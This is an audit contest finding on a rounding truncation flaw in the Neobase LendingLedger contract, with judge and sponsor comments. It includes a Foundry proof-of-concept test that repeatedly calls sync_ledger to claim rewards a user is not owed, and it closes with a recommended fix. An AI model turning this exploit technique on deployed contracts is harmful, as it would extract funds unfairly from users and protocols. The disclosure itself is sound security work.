Truncation Exploitation of Partial Transfer System

[c4-bot-10]

Lines of code

https://github.com/code-423n4/2024-03-neobase/blob/main/src/LendingLedger.sol#L105-L113

Vulnerability details

Description

The LendingLedger::sync_ledger function is meant to permit partial transfers of each user's positions by updating the amount, rewardDebt, and secRewardDebt variables.

In the current system, the partial transfers performed are insecure as a non-zero _delta can be transferred with zero-value rewardDebt and secRewardDebt increments.

Specifically, any non-zero _delta value that would result in (_delta * market.accCanotPerShare) / 1e18 to result in a truncation can be transferred multiple times to exploit the truncation.

As the LendingLedger::claim function will utilize the cumulative user.amount value, multiple _delta transfers can result in a non-truncated (user.amount * market.accCanotPerShare) / 1e18 value that would result in immediate profit as the user would be able to instantly claim the truncated amounts.

Impact

A user is able to claim rewards from the LendingLedger without any time elapsing and without being eligible for them by taking advantage of debt truncations in the LendingLedger::sync_ledger function.

This exploit can be repeated infinitely to compound the rewards extracted via this mechanism.

Proof of Concept

I coded a simple PoC in foundry, simply add the following function after the LendingLedger.t.sol::setupStateBeforeClaim function:

function testFreeRewards() public {
    setupStateBeforeClaim();

    // Ensure accCantoPerShare is not 1e18
    vm.prank(lender);
    vm.roll(BLOCK_EPOCH * 5 + 1);
    ledger.claim(lendingMarket);

    // Demonstrate that user can claim but will acquire `0` due to having no balance
    address noBalanceLender = users[2];
    uint256 balanceBefore = address(noBalanceLender).balance;
    vm.prank(noBalanceLender);
    ledger.claim(lendingMarket);
    uint256 balanceAfter = address(noBalanceLender).balance;

    // Ensure user is normally entitled to no reward
    assertEq(balanceBefore, balanceAfter);

    // We calculate the exact amount that we would need to transfer to capture an instant reward
    (uint256 currentAccCantoPerShare, , ) = ledger.marketInfo(
        lendingMarket
    );
    uint256 remainder = currentAccCantoPerShare % 1e18;
    uint256 numberOfTimesForWholeValue = 1e18 / remainder;

    for (uint256 i = 0; i <= numberOfTimesForWholeValue; i++) {
        // We simulate a LiquidityGauge::_afterTokenTransfer between lender and noBalanceLender
        vm.prank(lendingMarket);
        ledger.sync_ledger(lender, -1);

        vm.prank(lendingMarket);
        ledger.sync_ledger(noBalanceLender, 1);
    }

    balanceBefore = address(noBalanceLender).balance;
    vm.prank(noBalanceLender);
    ledger.claim(lendingMarket);
    balanceAfter = address(noBalanceLender).balance;

    uint256 profit = balanceAfter - balanceBefore;

    // Ensure user is normally entitled to no reward, the assertion will fail
    assertEq(profit, 0);
}

To execute the above test concisely, kindly perform the following:

forge test --match-test testFreeRewards -vv

Severity Rationalization

The above PoC is meant to demonstrate the flaw and does not do so efficiently. In detail, the profitability of the attack versus its gas cost is inherently attached to the error between the divisor (1e18) and the cantoPerShare value.

For an error equal to 1e18 - 1, the attack can be executed in as little as two transfers and can be compounded infinitely. Even if we consider the attack not profitable, an off-by-one error has wider implications in the accounting system of the LendingLedger.

Specifically, the off-by-one error will cause the cumulative rewards of the system to not satisfy all awarded users. As a result, the last user who attempts to claim rewards will cause their claim to fail.

We can argue that there are a lot of avenues to resolve the accounting error once it presents itself, however, the value extracted would be irreversible, and the failure itself could be perpetuated.

Tools Used

Manual Review.

Recommended Mitigation Steps

For the mechanism to behave correctly, it should penalize rewards rather than penalize debt when truncation occurs. To achieve this, the subtraction execution path of LendingLedger::sync_ledger should continue subtracting the rounded-down amount from debt while the addition execution path should round the debt added upwards.

Assessed type

Math

[c4-judge]

MarioPoneder marked the issue as primary issue

[OpenCoreCH]

That's true and rounding up there is probably a good idea (although it could generate underflows in claim if this is not changed as well). However, I am not fully convinced about the impact. If (uint256(_delta) * market.accCantoPerShare) is for instance 1e18 - 1, the "correct" debt value is 0.999999..., so rounded up it would be 1. We then underestimate the debt by exactly 1 token, which has a value of 10^{-18} USD in the case of cNOTE.

[c4-sponsor]

OpenCoreCH (sponsor) confirmed

[MarioPoneder]

Limited impact but high likelihood since there is no boundary on the repeatability of the attack, which can lead to further impacts (see Severity Rationalization of report.)

[c4-judge]

MarioPoneder marked the issue as satisfactory

[c4-judge]

MarioPoneder marked the issue as selected for report